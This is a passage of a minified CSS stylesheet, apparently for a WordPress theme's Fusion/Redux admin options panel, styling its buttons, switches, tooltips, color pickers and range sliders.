#fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .fusion-color-palette-list .fusion-color-palette-item { margin-right: 7px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-input-wrap { width: 100% !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_palette .wp-picker-container .iris-picker.iris-border { padding-bottom: 0 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .upload_button_div .button { box-shadow: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main #fusionredux-sticky #info_bar { padding: 20px 121px 20px 50px; height: 31px; background: #fff; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main #fusionredux-sticky #info_bar .fusionredux-action_bar input { margin-top: 0; border-radius: 4px !important; font-weight: 600; transition: color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1), background-color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main #fusion-edit-on-front-end { float: left; margin: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion-support-links { position: absolute; top: 0; right: 0; height: 71px; width: 71px; border-left: 1px solid #dfdfdf; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion-support-links a { display: block; height: 100%; text-align: center; color: #555d66; transition: color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion-support-links a .fusiona-help-outlined { opacity: 0.4; position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); padding: 3px; font-size: 23px; transition: opacity 0.2s cubic-bezier(0.21, 0.6, 0.35, 1); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion-support-links a:hover { color: #198FD9; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion-support-links a:hover .fusiona-help-outlined { opacity: 1; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main > .dashicons.dashicons-search { display: none; position: absolute; top: 23px; left: 200px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input[type="text"].fusionredux_field_search { top: 20px; left: 50px; margin: 0; padding-left: 12px; width: 270px !important; background: #f4f2f2 !important; border-radius: 4px !important; color: #333; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .expand_options { display: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-import_export #fusionredux-import-action { margin-top: 10px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-import_export #fusionredux-import-action span { margin: 0 5px; color: #dc3232; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .el-arrow-up:before, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .el-arrow-up:before { content: "\f342"; font-family: dashicons; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .el-arrow-down:before, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .el-arrow-down:before { content: "\f346"; font-family: dashicons; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .el-arrow-right:before, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .el-arrow-right:before { content: "\f344"; font-family: dashicons; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .el-arrow-left:before, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .el-arrow-left:before { content: "\f340"; font-family: dashicons; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-border_radius-input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-spacing-input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input { margin-right: 5px !important; width: calc(25% - 5px); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input.input-append .add-on, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-border_radius-input.input-append .add-on, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-spacing-input.input-append .add-on, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input.input-append .add-on, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input.input-prepend .add-on, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-border_radius-input.input-prepend .add-on, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-spacing-input.input-prepend .add-on, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input.input-prepend .add-on { border: 1px solid rgba(0, 0, 0, 0.1) !important; border-right: none !important; height: 31px; font-size: 12px; background-color: #fff; min-width: 31px; box-shadow: none !important; box-sizing: border-box; color: rgba(0, 0, 0, 0.5); border: none; padding: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input.input-append .add-on .icon-large, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-border_radius-input.input-append .add-on .icon-large, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-spacing-input.input-append .add-on .icon-large, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input.input-append .add-on .icon-large, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input.input-prepend .add-on .icon-large, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-border_radius-input.input-prepend .add-on .icon-large, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-spacing-input.input-prepend .add-on .icon-large, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input.input-prepend .add-on .icon-large { height: 29px; line-height: 29px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input.input-append input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-border_radius-input.input-append input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-spacing-input.input-append input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input.input-append input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input.input-prepend input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-border_radius-input.input-prepend input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-spacing-input.input-prepend input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input.input-prepend input { padding-top: 3px; padding-bottom: 3px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input input.mini[type="text"], .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-border_radius-input input.mini[type="text"], .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-spacing-input input.mini[type="text"], .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input input.mini[type="text"] { width: calc(100% - 33px); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .input-prepend .add-on { border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .input-append .add-on { border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main #fusionredux-defaults-section { margin-left: 4px; margin-right: 4px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .ui-button { padding: 0 10px; height: auto; line-height: 30px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .ui-button .ui-button-text { padding: 0; line-height: 30px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .has-tooltip { position: relative; z-index: 1; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .has-tooltip:before { content: ""; border: 5px solid transparent; border-bottom-color: #1d2226; top: 38px; z-index: 2; pointer-events: none; transition: all 0.2s ease 0.2s; position: absolute; left: 50%; transform: translateX(-50%); opacity: 0; line-height: normal; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .has-tooltip:after { content: attr(aria-label); top: 48px; background: #1d2226; color: #fff; border: 1px solid #1d2226; white-space: nowrap; padding: 10px; font-size: 11px; font-family: "Noto Sans", Roboto, "Open Sans", -apple-system, BlinkMacSystemFont, "Segoe UI", Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-weight: 600; text-transform: uppercase; letter-spacing: 0.05em; border-radius: 4px; margin: 0; pointer-events: none; transition: all 0.2s ease 0.2s; position: absolute; left: 50%; transform: translateX(-50%); opacity: 0; line-height: normal; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .has-tooltip:hover:before, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .has-tooltip:hover:after { opacity: 1; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-secondary, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .cb-disable, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .cb-enable, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-choice, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input { box-shadow: none !important; transition: all 200ms ease-in-out; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-arrow, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-drop, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .ui-button, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .ui-icon, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .ui-spinner-button { border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; box-shadow: none !important; transition: all 200ms ease-in-out; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-primary, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-secondary { height: 31px; line-height: 29px; box-sizing: border-box; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .ui-buttonset .ui-button { border-right: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .ui-buttonset .ui-button:last-child { border-right: 1px solid; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-choice, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-drop, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input:not(.button-primary):not(.button), .fusionredux-container #fusionredux-form-wrapper .fusionredux-main textarea { background: #ffffff; box-shadow: none !important; transition: all 200ms ease-in-out; border: 1px solid #dfdfdf; color: #32373c; outline: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-choice:hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-drop:hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input:not(.button-primary):not(.button):hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main textarea:hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-choice:active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-drop:active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input:not(.button-primary):not(.button):active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main textarea:active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-choice:focus, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-drop:focus, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input:not(.button-primary):not(.button):focus, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main textarea:focus { border-color: #198fd9; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-drop { border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-secondary, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button { color: #32373c; border-color: #dfdfdf; background-color: #ffffff; border-radius: 4px; font-weight: 600; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-secondary:hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button:hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-secondary:active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button:active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-secondary:focus, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button:focus { color: #198FD9; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-secondary.remove-image, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button.remove-image { color: #F44336; border-color: #dfdfdf; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-primary { background-color: $color_back_top_level_active; color: $color_text_menu_top_level_active; border: none; border-radius: 4px; font-weight: 600; transition: background-color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-primary:hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-primary:active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .button-primary:focus { background-color: $color_accent_1; color: $color_text_menu_top_level_active; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main #fusionredux-footer-sticky .fusionredux-action_bar .spinner { margin-top: 3px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-action_bar .spinner { margin-top: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-action_bar .button-primary { background-color: $color_back_top_level_active; color: $color_text_menu_top_level_active; border: none; font-weight: 600; transition: background-color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-action_bar .button-primary:hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-action_bar .button-primary:active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-action_bar .button-primary:focus { background-color: $color_accent_1; color: $color_text_menu_top_level_active; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-action_bar input:not(.button-primary) { color: #2a3035; border-color: #dfdfdf; font-weight: 600; background-color: #ffffff !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-action_bar input:not(.button-primary):hover, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-action_bar input:not(.button-primary):active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-action_bar input:not(.button-primary):focus { color: #198FD9; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-container .select3-choice { padding-left: 0.75em; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .select3-arrow { border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; background: #ffffff !important; box-shadow: none !important; transition: all 200ms ease-in-out; border-left: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input[type=radio] { border-radius: 50% !important; border: 1px solid #dfdfdf; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input[type=radio] + span > p { margin-left: 25px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset label[for*="buttonsetdisabled"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset label[for*="buttonsetdisabled"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset label[for*="buttonsetdisable"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset label[for*="buttonsetdisable"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset label[for*="buttonsethide"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset label[for*="buttonsethide"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset label[for*="buttonsethidden"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset label[for*="buttonsethidden"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset label[for*="buttonsetNone"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset label[for*="buttonsetNone"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset label[for*="buttonsetnone"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset label[for*="buttonsetnone"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset label[for*="buttonset0"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset label[for*="buttonset0"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset label[for*="buttonsetno"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset label[for*="buttonsetno"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset label[for*="buttonsetoff"].ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset label[for*="buttonsetoff"].ui-state-active { background: $color_back_2 !important; color: $color_text_menu_top_level; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset .ui-button, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset .ui-button { padding: 0.4em 0.6em; min-width: 60px; border: none !important; background-color: #f2f3f5 !important; background-image: none !important; color: #93999f !important; font-size: 14px; text-shadow: none; font-weight: 600; text-align: center; transition: color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1), background-color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1); } .ltr .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset .ui-button, .ltr .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset .ui-button { border-right: 1px solid rgba(0, 0, 0, 0.1) !important; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset .ui-button, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset .ui-button { border-left: 1px solid rgba(0, 0, 0, 0.1) !important; } .ltr .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset .ui-button:first-of-type, .ltr .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset .ui-button:first-of-type { border-top-left-radius: 4px !important; border-bottom-left-radius: 4px !important; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset .ui-button:first-of-type, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset .ui-button:first-of-type { border-top-right-radius: 4px !important; border-bottom-right-radius: 4px !important; } .ltr .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset .ui-button:last-of-type, .ltr .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset .ui-button:last-of-type { border-top-right-radius: 4px !important; border-bottom-right-radius: 4px !important; border-right: none !important; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset .ui-button:last-of-type, .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset .ui-button:last-of-type { border-top-left-radius: 4px !important; border-bottom-left-radius: 4px !important; border-left: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-enable.selected, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .cb-enable.selected, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .ui-buttonset .ui-state-active, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field-container .ui-buttonset .ui-state-active { background-image: none !important; box-shadow: none !important; text-shadow: none; background-color: $color_accent_2 !important; color: $color_text_menu_top_level_active !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-disable, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-enable { padding: 0.4em 0.6em; min-width: 60px; border: none !important; border-right: 1px solid rgba(0, 0, 0, 0.1) !important; background-color: #f2f3f5 !important; color: #93999f !important; font-size: 14px; text-shadow: none; font-weight: 600; text-align: center; transition: color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1), background-color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-disable:first-of-type, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-enable:first-of-type { border-top-left-radius: 4px !important; border-bottom-left-radius: 4px !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-disable:last-of-type, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-enable:last-of-type { border-top-right-radius: 4px !important; border-bottom-right-radius: 4px !important; border-right: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-disable span, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-enable span { display: inline; float: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-disable.selected { background: $color_back_2 !important; color: #ffffff !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-enable.selected { background-color: $color_accent_2 !important; color: $color_text_menu_top_level_active; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .wp-color-result { border-radius: 4px; box-shadow: none !important; border-color: #dfdfdf; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .iris-picker { border-radius: 4px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-switch .cb-disable.selected { background-image: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-text input { line-height: 1.75em; padding-left: 0.75em; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-main span.description { color: #999 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-slider .fusionredux-slider-input { margin-right: 25px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-slider .fusionredux-slider-container { margin: 10px 0; width: calc(100% - 130px); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container.noUi-target.noUi-connect { background-color: transparent !important; background-color: rgba(0, 0, 0, 0) !important; background-image: none !important; box-shadow: none; border: none; border-top: 2px solid $color_accent_2; border-radius: 0 !important; border-bottom-left-radius: 0 !important; border-bottom-right-radius: 0 !important; border-top-left-radius: 0 !important; border-top-right-radius: 0 !important; position: relative; top: 6px; border-top-color: $color_accent_2; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-handle { border: none !important; background-color: $color_accent_2 !important; background-image: none !important; box-shadow: none !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-handle:after, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-handle:before { content: none; display: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-origin.noUi-background { top: -2px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-target, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-target * { -webkit-touch-callout: none; -ms-touch-action: none; -webkit-user-select: none; user-select: none; box-sizing: border-box; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-base { width: 100%; height: 100%; position: relative; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-origin { position: absolute; right: 0; top: 0; left: 0; bottom: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-handle { position: relative; z-index: 1; box-sizing: border-box; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-stacking .noUi-handle { z-index: 10; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-stacking + .noUi-origin { *z-index: -1; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-state-tap .noUi-origin { transition: left 0.3s, top 0.3s; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-state-drag * { cursor: inherit !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-horizontal { height: 10px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-handle { box-sizing: border-box; width: 12px; height: 12px; left: -10px; top: -5px; cursor: ew-resize; border-radius: 100%; transition: all 0.2s ease-out; border: 1px solid; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-vertical .noUi-handle { margin-left: 5px; cursor: ns-resize; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-horizontal.noUi-extended { padding: 0 15px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-horizontal.noUi-extended .noUi-origin { right: -15px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-background { height: 2px; margin: 20px 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-origin { margin: 0; border-radius: 0; height: 2px; background: #c8c8c8; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-origin[style^="left:0"] .noUi-handle { background-color: #fff; border: 2px solid #c8c8c8; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-origin[style^="left:0"] .noUi-handle.noUi-active { border-width: 1px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-target { border-radius: 2px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-horizontal { height: 2px; margin: 15px 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-vertical { height: 100%; width: 2px; margin: 0 15px; display: inline-block; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .noUi-handle.noUi-active { transform: scale3d(2.5, 2.5, 1); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container [disabled].noUi-slider { opacity: 0.5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container [disabled] .noUi-handle { cursor: not-allowed; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider { background: #c8c8c8; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider.noUi-connect, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-default.noUi-connect { background-color: $color_accent_2; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-black.noUi-connect { background-color: #000000; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-white.noUi-connect { background-color: #ffffff; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-inverse.noUi-connect { background-color: #3f51b5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-primary.noUi-connect { background-color: #009688; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-success.noUi-connect { background-color: #4caf50; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-info.noUi-connect { background-color: #03a9f4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-warning.noUi-connect { background-color: #ff5722; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-danger.noUi-connect { background-color: #f44336; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-red.noUi-connect { background-color: #f44336; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main 